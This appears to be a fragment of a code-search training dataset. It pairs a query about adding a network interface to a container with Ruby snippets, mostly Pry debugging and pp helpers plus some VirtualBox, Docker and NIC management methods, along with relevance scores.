"def start_pry(binding, file = nil, header = nil)\n PryDebug.synchronize do\n puts header if header\n\n ret = catch(:resume_debugging!) do\n Pry.start(binding, :commands => ShortCommands)\n end\n\n if ret == :next\n PryDebug.stepped_file = file\n end\n\n # In case trace_func was changed\n set_trace_func trace_proc\n end\n end",
"def ppd(*arg)\r\n if $DEBUG\r\n pp(*arg)\r\n end\r\nend",
"def ppd(*arg)\r\n if $DEBUG\r\n pp(*arg)\r\n end\r\nend",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n #binding.pry\n pp nds\nend",
"def customer_meth(*args, **kargs)\n binding.pry\n end",
"def best_available\n if !_pry_.config.pager\n NullPager.new(_pry_.output)\n elsif !SystemPager.available? || Pry::Helpers::BaseHelpers.jruby?\n SimplePager.new(_pry_.output)\n else\n SystemPager.new(_pry_.output)\n end\n end",
"def stagger_output(text, _out = nil)\n if defined?(_pry_) && _pry_\n _pry_.pager.page text\n else\n Pry.new.pager.page text\n end\n end",
"def multiply(x,y)\n\tbinding.pry # stops code, opens in pry so you can test it out\n\tKernel.puts(\"After binding.pry\")\n\treturn x*y\nend",
"def non_interactive_mode(_pry_)\n _pry_.print = proc {}\n _pry_.exception_handler = proc do |o, e, _pry_|\n _pry_.run_command \"cat --ex\"\n o.puts \"...exception encountered, going interactive!\"\n interactive_mode(_pry_)\n end\n end",
"def resume_pry\n new_binding = frame._binding\n\n run do\n if defined?(@pry) && @pry\n @pry.repl(new_binding)\n else\n @pry = Pry::REPL.start_without_pry_byebug(target: new_binding)\n end\n end\n end",
"def stagger_output(text, out = nil)\n if _pry_\n _pry_.pager.page text\n else\n Pry.new.pager.page text\n end\n end",
"def plus_two(num)\n sum = num + 2\n #binding.pry\nend",
"def pprint(object)\n PP.pp(object)\nend",
"def pp(*args)\n super\n nil\n end",
"def resume_pry(context)\n frame_position = state ? state.frame : 0\n\n new_binding = context.frame_binding(frame_position)\n\n run do\n if defined?(@pry) && @pry\n @pry.repl(new_binding)\n else\n @pry = Pry.start_without_pry_byebug(new_binding)\n end\n end\n end",
"def p object\n TetCore.break_after_print\n TetCore.real_p(object)\nend",
"def best_available\n if !_pry_.config.pager\n NullPager.new(_pry_.output)\n elsif !SystemPager.available? || Helpers::Platform.jruby?\n SimplePager.new(_pry_.output)\n else\n SystemPager.new(_pry_.output)\n end\n end",
"def pl(*args)\n str0 = \"=== \" + caller.first + \"\\n\"\n\n str_out = args.inject(str0){|strs, obj| strs + obj.pretty_inspect.to_s}\n\n puts str_out\n str_out\nend",
"def pretty_print pp\n pp.pp eval(self.asPPString)\n end",
"def pretty_print pp\n pp.pp eval(self.asPPString)\n end",
"def foo\n p 'bar'\nend",
"def debug_print(thing, title = nil, print_path = false)\n return if !%w[test development].include?(Rails.env)\n\n divider = \"#{\"-\" * 80}\"\n\n puts divider\n if title.present?\n puts %Q(#{title} (#{thing.class.name}))\n else\n puts thing.class.name\n end\n pp thing\n\n if print_path\n puts caller.first[0..caller.first.index(\":in\") - 1]\n end\n\n puts divider\n\n puts\n end",
"def at_return(context, _file, _line)\n resume_pry(context)\n end",
"def pretty_print_nds(nds)\n $pp_called_flag = false\n module Kernel\n alias :original_pp :pp\n def pp(*args)\n $pp_called_flag = true\n end\n end\n nil\nend",
"def mu_pp(obj); end",
"def at_line(context, _file, _line)\n resume_pry(context)\n end",
"def pretty_print\n puts `ruby -r pp -e 'pp(#{@template.inspect})'`\n end",
"def initialize(session, workspace = nil, input_method = nil, output_method = nil)\n @session = session\n if workspace\n @workspace = workspace\n else\n @workspace = WorkSpace.new\n end\n @thread = Thread.current if defined? Thread\n #@pry_level = 0\n\n # copy of default configuration\n @ap_name = Pry.conf[:AP_NAME]\n @rc = Pry.conf[:RC]\n @load_modules = Pry.conf[:LOAD_MODULES]\n\n @use_readline = Pry.conf[:USE_READLINE]\n @verbose = Pry.conf[:VERBOSE]\n @io = nil\n\n self.inspect_mode = Pry.conf[:INSPECT_MODE]\n self.math_mode = Pry.conf[:MATH_MODE] if Pry.conf[:MATH_MODE]\n self.use_tracer = Pry.conf[:USE_TRACER] if Pry.conf[:USE_TRACER]\n self.use_loader = Pry.conf[:USE_LOADER] if Pry.conf[:USE_LOADER]\n self.eval_history = Pry.conf[:EVAL_HISTORY] if Pry.conf[:EVAL_HISTORY]\n\n @ignore_sigint = Pry.conf[:IGNORE_SIGINT]\n @ignore_eof = Pry.conf[:IGNORE_EOF]\n\n @back_trace_limit = Pry.conf[:BACK_TRACE_LIMIT]\n\n self.prompt_mode = Pry.conf[:PROMPT_MODE]\n\n if Pry.conf[:SINGLE_IRB] or !defined?(Pry::JobManager)\n @pry_name = Pry.conf[:PRY_NAME]\n else\n @pry_name = Pry.conf[:PRY_NAME]+\"#\"+Pry.JobManager.n_jobs.to_s\n end\n @pry_path = \"(\" + @pry_name.to_s + \")\"\n\n case input_method\n when nil\n case use_readline?\n when nil\n if (defined?(ReadlineInputMethod) && STDIN.tty? &&\n Pry.conf[:PROMPT_MODE] != :INF_RUBY)\n @io = ReadlineInputMethod.new\n else\n @io = StdioInputMethod.new\n end\n when false\n @io = StdioInputMethod.new\n when true\n if defined?(ReadlineInputMethod)\n @io = ReadlineInputMethod.new\n else\n @io = StdioInputMethod.new\n end\n end\n\n when String\n @io = FileInputMethod.new(input_method)\n @pry_name = File.basename(input_method)\n @pry_path = input_method\n else\n @io = input_method\n end\n self.save_history = Pry.conf[:SAVE_HISTORY] if Pry.conf[:SAVE_HISTORY]\n\n if output_method\n @output_method = output_method\n else\n @output_method = StdioOutputMethod.new\n end\n\n @echo = Pry.conf[:ECHO]\n if @echo.nil?\n @echo = true\n end\n self.debug_level = Pry.conf[:DEBUG_LEVEL]\n end",
"def bold text, pry=(defined?(_pry_) && _pry_) || Pry\n (pry and pry.color) ? \"\\e[1m#{text}\\e[0m\" : text\n end",
"def pretty_print_nds(nds)\n require 'pp'\n pp nds\n nil\nend",
"def no_color pry=(defined?(_pry_) && _pry_) || Pry\n boolean = pry.config.color\n pry.config.color = false\n yield\n ensure\n pry.config.color = boolean\n end",
"def pretty_print_nds(nds)\n d= directors_database\n #binding.pry\n pp d\n\nend",
"def pp(message)\n puts \"[#{NAME}] #{message}\"\nend",
"def test_print?\n c = cli\n refute(c.print?)\n\n c = cli(['-p'])\n assert(c.print?)\n end",
"def ppl(*objs)\n objs.each {|obj|\n PP.pp(obj, LoggerAppender.instance)\n }\n nil\n end",
"def pout(str)\n print str\n $stdout.flush\nend",
"def pretty_print_nds(nds)\n #写了binding.pry再learn=>会导致running停在这里,这时候打nds就可以看到它的具体数据\n=begin [{:name=>\"Stephen Spielberg\",WhenUsingPpToDisplayComplexDataStructures>)> nds\n :movies=>\n [{:title=>\"Jaws\",\n :studio=>\"Universal\",\n :worldwide_gross=>260000000,\n :release_year=>1975},\n {:title=>\"Close Encounters of the Third Kind\",\n :studio=>\"Columbia\",\n :worldwide_gross=>135189114,\n :release_year=>1977},\n {:title=>\"Raiders of the Lost Ark\",\n :studio=>\"Paramount\",\n=end\n#nil =>这个是原来存在的,要把这个改了\n pp nds # Change the code below to pretty print the nds with pp\n #这边也可以是pp directors_database,因为数据在那个DB里面\nend",
"def pry_hooks(ex); end",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp' \n pp nds\n nil\nend",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp'\n pp nds\n nil\nend",
"def stdouts; end",
"def pop_frame_manager(_pry_); end",
"def inject_var(name, value, b)\n Thread.current[:__pry_local__] = value\n b.eval(\"#{name} = Thread.current[:__pry_local__]\")\nensure\n Thread.current[:__pry_local__] = nil\nend",
"def pp(*objs)\n puts(*objs.collect{|obj| obj.inspect})\n end",
"def application_guard_allow_print_to_x_p_s\n return @application_guard_allow_print_to_x_p_s\n end",
"def print_module(*) end",
"def pretty_print(pp)\n pp.text \"#{task.name}.#{name}\"\n pp.nest(2) do\n pp.breakable\n pp.text \"tracked = #{@tracked}\"\n pp.breakable\n pp.text \"readers = #{@readers.size}\"\n pp.breakable\n pp.text \"filtered = #{(@filter!=nil).to_s}\"\n @connections.each do |connection|\n pp.breakable\n if connection.is_a?(OutputPort::Connection)\n pp.text \"connected to #{connection.port.task.name}.#{connection.port.name} (filtered = #{(connection.filter!=nil).to_s})\"\n end\n if connection.is_a?(OutputPort::CodeBlockConnection)\n pp.text \"connected to code block\"\n end\n end\n end\n end",
"def lp()\n puts\n puts \"-------------------------------------------------------------\"\n end",
"def pop_helper(popped_fm, _pry_); end",
"def pass\n checked_print ?.\n end",
"def pp(obj)\n id = obj.object_id\n\n if check_inspect_key(id)\n group {obj.pretty_print_cycle self}\n return\n end\n\n begin\n push_inspect_key(id)\n group {obj.pretty_print self}\n ensure\n pop_inspect_key(id) unless PP.sharing_detection\n end\n end",
"def redirect_pry_io(new_in, new_out = StringIO.new)\n old_in, old_out = Pry.input, Pry.output\n Pry.input, Pry.output = new_in, new_out\n begin\n yield\n ensure\n Pry.input, Pry.output = old_in, old_out\n end\nend",
"def output\n Pry::Output.new(self)\n end",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp'\n pp nds\nend",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n require 'pp'\n pp nds\nend",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\npp 'nds'\nend",
"def index\n# @resource = User.new\n# binding.pry\n end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def stdout; end",
"def call\n if gem.exist?\n gem.prepare_data(keys: PRELOAD_KEYS, concurrency: false)\n GemsBond::Printers::Stdout.new(gem).call\n else\n puts \"Sorry, this gem could not be found!\"\n end\n end",
"def p(*args)\n Kernel.p(args)\n msgbox_p(*args)\nend",
"def pp(*objs) # :doc:\n objs.each {|obj|\n PP.pp(obj)\n }\n nil\n end",
"def pp(*objs) # :doc:\n objs.each {|obj|\n PP.pp(obj)\n }\n nil\n end",
"def plus_two(num)\n\tsum = num + 2\n\tsum\n\t#binding.pry\nend",
"def bark\n p \"woof!\"\n end",
"def bark\n p \"woof!\"\n end",
"def console; end",
"def console; end",
"def redirect_pry_io(new_in, new_out = StringIO.new)\n old_in, old_out = Pry.input, Pry.output\n Pry.input, Pry.output = new_in, new_out\n\n begin\n yield\n ensure\n Pry.input, Pry.output = old_in, old_out\n end\nend",
"def run(&_block)\n return_value = nil\n\n command = catch(:breakout_nav) do # Throws from PryByebug::Commands\n return_value = allowing_other_threads { yield }\n {} # Nothing thrown == no navigational command\n end\n\n # Pry instance to resume after stepping\n @pry = command[:pry]\n\n perform(command[:action], command[:options])\n\n return_value\n end",
"def prerm\n @package.get_script :prerm\n end",
"def initialize()\n \tputs \"Initializing new puppy instance ...\"\n end",
"def setup\n @practical = Flow.new(\"gb\", \"Practical\")\n @legal = Flow.new(\"gb\", \"Legal\")\n # binding.pry\n end",
"def do_print\n @printer.exec(@buddy)\n end",
"def puts(*strs); $stdout.puts(*strs) if ENV['DEBUG'] end",
"def pretty_print_nds(nds)\n # Change the code below to pretty print the nds with pp\n \n pp nds\n puts nds \nend"
] |
[
"0.8045366",
"0.7839913",
"0.7522832",
"0.74865687",
"0.7461366",
"0.7424767",
"0.73221517",
"0.7095784",
"0.70662886",
"0.7030946",
"0.6878877",
"0.686908",
"0.68417925",
"0.6618936",
"0.6460227",
"0.6349161",
"0.63235784",
"0.63175064",
"0.6292557",
"0.61656946",
"0.6033699",
"0.601119",
"0.6005203",
"0.6005203",
"0.60014826",
"0.5999842",
"0.59490377",
"0.5932006",
"0.5852222",
"0.5824506",
"0.57873875",
"0.5775237",
"0.5757972",
"0.57331085",
"0.5726086",
"0.57236695",
"0.57096326",
"0.5677548",
"0.5640417",
"0.5637151",
"0.5637151",
"0.55502915",
"0.549908",
"0.5483132",
"0.5457765",
"0.5456157",
"0.5448817",
"0.54413545",
"0.542977",
"0.5410994",
"0.5410733",
"0.5408696",
"0.53916705",
"0.5371958",
"0.53683066",
"0.533705",
"0.5304899",
"0.529076",
"0.5287703",
"0.5282743",
"0.52707505",
"0.52532905",
"0.52411705",
"0.5238604",
"0.5222119",
"0.52192175",
"0.5200183",
"0.5194109",
"0.51940256",
"0.51830554",
"0.5181134",
"0.5178477",
"0.51548636",
"0.5151876",
"0.51516783",
"0.51516783",
"0.5140957",
"0.51366645",
"0.5132481",
"0.5132481",
"0.5132481",
"0.5132481",
"0.5132481",
"0.5132481",
"0.5127189",
"0.51241",
"0.5123444",
"0.5123444",
"0.51232654",
"0.5118706",
"0.5118706",
"0.51186943",
"0.51186943",
"0.51176465",
"0.511125",
"0.51101595",
"0.5103112",
"0.5099107",
"0.5097609",
"0.509533",
"0.50917983"
] |
0.0
|
-1
|
Called when a new network interface is added to a container
|
def add_netif(opts)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def interface_add(network_interfaces, node_uid, interfaces)\n num1 = node_uid.split('-')[1].to_i\n if network_interfaces.has_value?(interfaces) == false\n network_interfaces[[num1]] = interfaces\n else\n num2 = network_interfaces.key(interfaces)\n network_interfaces.delete(num2)\n network_interfaces[num2.push(num1)] = interfaces\n end\n end",
"def add(interface_name)\n model.add(interface_name)\n end",
"def add\n unless name.nil?\n raise \"Virtual network already added to VirtualBox\"\n end\n \n # Create the network and pull its name.\n output = VirtualBox.run_command! ['VBoxManage', '--nologo', 'hostonlyif',\n 'create']\n unless match = /^interface\\s+'(.*)'\\s+.*created/i.match(output)\n raise \"VirtualBox output does not include interface name\"\n end\n @name = match[1]\n \n # Query VirtualBox to pull the rest of the information.\n network = self.class.named name\n @vbox_name = network.vbox_name\n @mac = network.mac\n \n if (ip && ip != network.ip) || (netmask && netmask != network.netmask)\n VirtualBox.run_command! ['VBoxManage', '--nologo', 'hostonlyif',\n 'ipconfig', name, '--ip', ip, '--netmask', netmask]\n else\n self.ip = network.ip\n self.netmask = network.netmask\n end\n \n # Register the DHCP server, if it's connected.\n dhcp.add self if dhcp\n \n self\n end",
"def add_nic(p_mac_addr, p_port_name, p_net_type)\n unless p_net_type == 'lan' or p_net_type == 'san' then\n raise Exception.new(\"Invalid network type: #{p_net_type}\")\n end\n aNic = Nic.create({:mac_address => p_mac_addr, \n :port_name => p_port_name, \n :network_type =>p_net_type })\n self.nics << aNic\n end",
"def create\n\t\t\t@subnet_id = Net::HTTP.get(URI.parse(\"#{URL}network/interfaces/macs/#{@macs_arr.first}/subnet-id\"))\n\t\t\tresp = ec2.create_network_interface(subnet_id: \"#{@subnet_id}\")\n\t\t\t@network_interface_id = resp[:network_interface][:network_interface_id]\n\t\t\tputs \"created interface with id #{@network_interface_id}\"\n\t\tend",
"def add_netif(netifs, netif)\n end",
"def add(attributes)\n validate_attributes!(attributes)\n\n Vedeu.log(\"Registering interface: '#{attributes[:name]}'\")\n\n storage.store(attributes[:name], attributes)\n\n register_event(attributes)\n\n true\n end",
"def register(interface)\n InvalidInterfaceError.check(interface)\n \n interfaces[interface.to_s.demodulize.underscore.to_sym] = interface\n end",
"def define_network_interface(nic_ip_config)\n network_interface_props =\n Azure::ARM::Network::Models::NetworkInterfacePropertiesFormat.new\n network_interface_props.ip_configurations = [nic_ip_config]\n\n network_interface = Azure::ARM::Network::Models::NetworkInterface.new\n network_interface.location = @location\n network_interface.name = Utils.get_component_name(\"nic\",@ci_id)\n network_interface.properties = network_interface_props\n\n OOLog.info(\"Network Interface name is: #{network_interface.name}\")\n network_interface\n end",
"def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end",
"def create_test_interface\n cmd_out = `VBoxManage hostonlyif create`\n network_description = cmd_out.match(/.*'(.*)'.*/).captures[0]\n `VBoxManage.exe hostonlyif ipconfig \\\"#{network_description}\\\" --ip #{TEST_IP}`\n sleep 3\n network_description\n end",
"def ajouterInterface( interface )\n\t\t@interface = interface\n\t\t@interface.lierControleur( self )\n\tend",
"def connect_network_interface(name)\n raise NotImplementedError\n end",
"def add_nonbridged_network_to_vbox_vm(client_name,nic_name)\n message = \"Adding:\\t\\tNetwork \"+nic_name+\" to \"+client_name\n if nic_name.match(/vboxnet/)\n command = \"VBoxManage modifyvm #{client_name} --hostonlyadapter1 #{nic_name} ; VBoxManage modifyvm #{client_name} --nic1 hostonly\"\n else\n command = \"VBoxManage modifyvm #{client_name} --nic1 #{nic_name}\"\n end\n execute_command(message,command)\n return\nend",
"def build_interface\n\t\t\t\t\t{\n\t\t\t\t\t\t\"interfaces_attributes\"\t\t=>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"new_interfaces\"\t\t=>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"_destroy\"=>\"false\",\n\t\t\t\t\t\t\t\t\"type\"=>\"Nic::Managed\",\n\t\t\t\t\t\t\t\t\"mac\"=>\"\",\n\t\t\t\t\t\t\t\t\"identifier\"=>\"\",\n\t\t\t\t\t\t\t\t\"name\"=>\"\",\n\t\t\t\t\t\t\t\t\"domain_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"subnet_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"ip\"=>\"\",\n\t\t\t\t\t\t\t\t\"managed\"=>\"1\",\n\t\t\t\t\t\t\t\t\"virtual\"=>\"0\",\n\t\t\t\t\t\t\t\t\"tag\"=>\"\",\n\t\t\t\t\t\t\t\t\"attached_to\"=> self.username\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n return {}\n\t\t\t\tend",
"def add_bridged_network_to_vbox_vm(client_name,nic_name)\n message = \"Adding:\\tBridged network \"+nic_name+\" to \"+client_name\n command = \"VBoxManage modifyvm #{client_name} --nic1 bridged --bridgeadapter1 #{nic_name}\"\n execute_command(message,command)\n return\nend",
"def add_container(container)\n # Avoid duplicated labels on compose\n while @containers.has_key?(container.attributes[:label]) do\n container.attributes[:label].succ!\n end\n\n @containers[container.attributes[:label]] = container\n true\n end",
"def init_network_interfaces\n @@client.describe_network_interfaces.network_interfaces\n end",
"def create_update(network_interface)\n begin\n OOLog.info(\"Updating NIC '#{network_interface.name}' \")\n start_time = Time.now.to_i\n promise =\n @client.network_interfaces.create_or_update(@rg_name,\n network_interface.name,\n network_interface)\n\n response = promise.value!\n result = response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n puts(\"operation took #{duration} seconds\")\n return result\n OOLog.info(\"NIC '#{network_interface.name}' was updated in #{duration} seconds\")\n result\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{ex.message}\")\n end\n end",
"def create_router_interface(oSubnet, router_obj)\n PrcLib.state(\"Attaching subnet '%s' to router '%s'\",\n oSubnet[:name], router_obj[:name])\n begin\n controller_create(:router_interface)\n\n #################\n # provider_add_interface()\n # router_obj.add_interface(oSubnet.id, nil)\n rescue => e\n PrcLib.error(\"%s\\n%s\", e.message, e.backtrace.join(\"\\n\"))\n end\n end",
"def create_os_interface(server_id, attributes)\n api.compute.create_interface(\n server_id, interfaceAttachment: attributes\n ).data\n end",
"def interfacesCreate(node)\n interfaces=Array.new\n @parser.getInterfaces(node).each do |int|\n interfaces.push Interface.new(@parser.getInterfaceName(int))\n ip, net = @parser.getNetwork(int)\n interfaces.last.ip = ip\n interfaces.last.netmask = net\n end\n return interfaces\n end",
"def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to @interface, :notice => 'Interface was successfully created.' }\n format.json { render :json => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def on_connect(client_id, ip_address)\n @client_manager.add(client_id, ip_address)\n end",
"def add(net_or_name)\n command = ['VBoxManage', 'dhcpserver', 'add', '--ip', ip,\n '--netmask', netmask, '--lowerip', start_ip, '--upperip', end_ip,\n '--enable']\n if net_or_name.kind_of? VirtualBox::Net\n command.push '--ifname', net_or_name.name\n else\n command.push '--netname', net_or_name\n end\n\n VirtualBox.run_command! command\n self\n end",
"def process_interface_additions\n print <<EOF\n procedure :: ci_initialize\n procedure :: ci_set_communicator\n procedure :: ci_delete\n procedure :: ci_create\n procedure :: ci_split\nEOF\nend",
"def apply_network_settings container, networking\n OpenNebula.log_debug \"Configuring network\"\n nic = {:ifname => 'eth0', :host_mac => 'FE:FF:FF:FF:FF:FF'}\n\n container.add_veth nic\n OpenVZ::Util.execute \"brctl addif #{networking[:bridge]} veth#{container.ctid}.0\" unless networking[:bridge].nil?\n\n container.command \"ifconfig eth0 #{networking[:ip]}\"\n container.command \"ifconfig eth0 up\"\n end",
"def create_new_container\n puts 'Start creating a new container..'\n host = get_available_host\n if host.nil?\n puts 'Could not found a host with limit enough to create more containers'\n return\n end\n puts \"getting an available port to #{host}\"\n port = get_available_port(host)\n if port.nil?\n puts 'Could not found an available port'\n return\n end\n\n puts \"using port #{port} from #{host}\"\n\n Docker.url = \"tcp://#{host}:#{@docker_port}/\"\n container = Docker::Container.create(\n 'Image' => \"#{@ws_image}\",\n 'ExposedPorts' => { \n '8070/tcp' => {}\n },\n 'HostConfig' => {\n 'CpuPeriod' => 25000,\n 'PortBindings' => {\n '8070/tcp' => [ { 'HostPort' => \"#{port}\" } ]\n }\n }\n )\n container.start\n register_container(host, port, container.id)\n end",
"def create!\n EC2.clone_interface!(instance.eth0, description)\n tag!\n puts \"Created secondary ENI (#{interface.id})\"\n end",
"def configure_interfaces\n node_servers.each do |svinfo|\n gretap_interfaces(svinfo).each do |ifname, ifcfg|\n host_name = svinfo['hostname']\n virtual_addr = virtual_address(ifcfg)\n\n cloudconductor_server_interface \"#{host_name}_#{ifname}\" do\n action :create\n hostname host_name\n if_name ifname\n network ifcfg['network']\n security_groups ifcfg['security_groups']\n virtual_address virtual_addr\n end\n end\n end\nend",
"def newInterface\n @interface = Interface.new\n\t\t@interface.host_id = params[:host_id]\n\t\trender :action => 'new'\n end",
"def create_os_interface(server_id, attributes)\n elektron_compute\n .post(\"servers/#{server_id}/os-interface\") do\n { \"interfaceAttachment\" => attributes }\n end\n .body[\n \"interfaceAttachment\"\n ]\n end",
"def network_interface\n node = 'AWS_NETWORK_INTERFACE'\n q = []\n\n # network interface\n q.push(_upsert({ node: node, id: @name }))\n\n # vpc node and relationship\n if @data.vpc_id\n opts = {\n parent_node: node,\n parent_name: @name,\n child_node: 'AWS_VPC',\n child_name: @data.vpc_id,\n relationship: 'MEMBER_OF_VPC'\n }\n\n q.push(_upsert_and_link(opts))\n end\n\n # security_groups and relationship\n @data.groups.each do |sg|\n opts = {\n node: 'AWS_SECURITY_GROUP',\n id: sg.group_id,\n headless: true\n }\n\n q.push(_merge(opts))\n\n # network_interface -> security_group\n opts = {\n from_node: 'AWS_NETWORK_INTERFACE',\n from_name: @name,\n to_node: 'AWS_SECURITY_GROUP',\n to_name: sg.group_id,\n relationship: 'IN_SECURITY_GROUP',\n headless: true\n }\n q.push(_link(opts))\n end\n\n q\n end",
"def add_interface(doc)\n\n return if doc.nil?\n\n store_interface_members(doc)\n\n ip = load_interface_parents(doc)\n next_docs = ip[:parents] || nil if ip\n\n unless next_docs.nil? or next_docs.empty?\n next_docs.each { |d| add_interface(d) }\n end\n\n end",
"def addvnet(vn_description)\n call_rpc_for_target(ZONE_METHODS[:addvnet], vn_description)\n end",
"def add_vnic(vmname, network, vnicname)\r\n current = {:errormsg => \"\", :status => \"\", :time => \"\", :vmstatus => \"\"}\r\n\t\t\t\t\t\t \r\n conn_opts=get_cli_connection\r\n Chef::Log.debug(\"#{conn_opts[:host]}...create vnic name=#{vnicname},#{network},#{vmname}\")\r\n Net::SSH.start( conn_opts[:host], conn_opts[:user], :password => conn_opts[:password], :port => conn_opts[:port] ) do|ssh|\r\n output = ssh.exec!(\"create vnic name=#{vnicname} network=#{network} on vm name=#{vmname}\")\r\n output.each_line do |line|\r\n if line.match(/Status:/)\r\n current[:status]=line.split[1].strip\r\n elsif line.match(/Time:/)\r\n line[\"Time: \"]=\"\"\r\n current[:time]=line.strip\r\n elsif line.match(/Error Msg:/)\r\n line[\"Error Msg: \"]=\"\"\r\n current[:errormsg]=line.strip\r\n end\r\n end\r\n end\r\n return current\r\n end",
"def create_nic(options)\n Nic.create(options.merge(:server_id => self.id))\n end",
"def add_router_interface(router, subnet)\n data = { 'subnet_id' => subnet } \n return put_request(address(\"routers/\"+router+\"/add_router_interface\"), data, @token)\n end",
"def add_internal_network(network)\n @data['internalNetworkUris'] << network['uri'] unless @data['internalNetworkUris'].include?(network['uri'])\n end",
"def add_fusion_vm_network(options)\n exists = check_fusion_vm_exists(options)\n if exists == true\n vm_list = get_running_fusion_vms(options)\n if !vm_list.to_s.match(/#{options['name']}/)\n fusion_vmx_file = get_fusion_vm_vmx_file(options)\n message = \"Information:\\tAdding network interface to \"+options['name']\n command = \"'#{options['vmrun']}' addNetworkAdapter '#{fusion_vmx_file}' #{options['vmnetwork']}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Information:\\t#{options['vmapp']} VM #{options['name']} is Running\")\n end\n else\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} doesn't exist\")\n end\n return\nend",
"def attach_nic(one_nic)\n spec_hash = {}\n\n begin\n # A new NIC requires a vcenter spec\n attach_nic_array = []\n attach_nic_array << calculate_add_nic_spec(one_nic)\n spec_hash[:deviceChange] =\n attach_nic_array unless attach_nic_array.empty?\n\n # Reconfigure VM\n spec = RbVmomi::VIM.VirtualMachineConfigSpec(spec_hash)\n\n @item.ReconfigVM_Task(:spec => spec).wait_for_completion\n rescue StandardError => e\n error = \"Cannot attach NIC to VM: #{e.message}.\"\n\n if VCenterDriver::CONFIG[:debug_information]\n error += \"\\n\\n#{e.backtrace.join(\"\\n\")}\"\n end\n\n raise error\n end\n end",
"def register_container(host, port, id)\n puts \"Start registring container #{id}\"\n name = 'webserver'\n tempfile = '/tmp/haproxy.cfg'\n server_config = \"server #{name} #{host}:#{port} check \\##{id}\"\n \n contents = File.read(File.expand_path(@haproxy_config_file))\n\n open(tempfile, 'w+') do |f|\n contents.each_line do |line|\n \n f.puts line\n f.puts server_config if line.match('#BEGIN_SERVERS') and !contents.match(server_config)\n end\n end\n FileUtils.mv(tempfile, @haproxy_config_file)\n end",
"def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to(@interface, :notice => 'Interface was successfully created.') }\n format.xml { render :xml => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def handle_create(event)\n @bus.request 'containers', 'created', event: event.json, container: container_info(event.id)\n end",
"def up\n @ui.logger.debug { \"Container Up: #{self.id}\" }\n\n self.node.alive? or return false\n\n please_wait(:ui => @ui, :message => format_object_action(self, 'Up', :green)) do\n configure\n\n # Remove any existing ARP entries for our container from the node.\n self.interfaces.each do |interface|\n self.node.exec(%(sudo arp --verbose --delete #{interface.ip}), :ignore_exit_status => true)\n end\n\n if self.is_ephemeral?\n self.lxc_clone.start_ephemeral(clone_args)\n else\n self.lxc.start(start_args)\n end\n\n (self.state != :running) and raise ContainerError, \"The container failed to online! (did you create it? Check status with 'tl status')\"\n\n ZTK::TCPSocketCheck.new(:ui => @ui, :host => self.primary_interface.ip, :port => 22).wait\n\n # If we are not in ephemeral mode we should attempt to provision our\n # defined users.\n if self.is_persistent?\n self.users.each do |user|\n user.provision\n end\n end\n\n # Ensure the hostname is set\n self.exec(%(sudo hostname #{self.fqdn}))\n\n do_provisioner_callbacks(self, :up, @ui)\n end\n\n true\n end",
"def create_container\n\t\t\t\t@command.container_class.new\n\t\t\tend",
"def interface(name, &block)\n raise Vedeu::Error::MissingRequired unless name\n raise Vedeu::Error::RequiresBlock unless block_given?\n\n attributes = { client: client(&block), name: name }\n\n interface = Vedeu::Interfaces::Interface\n .build(attributes, &block)\n .store\n\n add_buffers!(name)\n add_cursor!(name)\n add_editor!(name) if interface.editable?\n add_focusable!(name)\n add_keymap!(name)\n\n interface\n end",
"def network_interfaces\n @network_interfaces ||= init_network_interfaces\n end",
"def create\n \n @concrete_interface = SWUI::ConcreteInterface.create(params[:concrete_interface])\n \n respond_to do |format|\n if @concrete_interface.save\n flash[:notice] = 'Concrete Interface was successfully created.'\n format.html { redirect_to(concrete_interfaces_url) }\n format.xml { render :xml => @concrete_interface, :status => :created, :location => @concrete_interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @concrete_interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def read_network_interfaces\n end",
"def add(hid, conf)\n return if @mutex.synchronize { @clusters.key?(hid) }\n\n begin\n cluster = Cluster.new(hid, @client)\n error = ''\n rescue StandardError => e\n cluster = nil\n error = e.message\n\n if !conf.nil?\n mdc = MonitorClient.new(conf[:address], conf[:port], hid)\n mdc.beacon_host_udp(false, error)\n end\n end\n\n add_host(hid, cluster, error)\n\n $logger.info(\"Registered host #{hid} #{error}\")\n end",
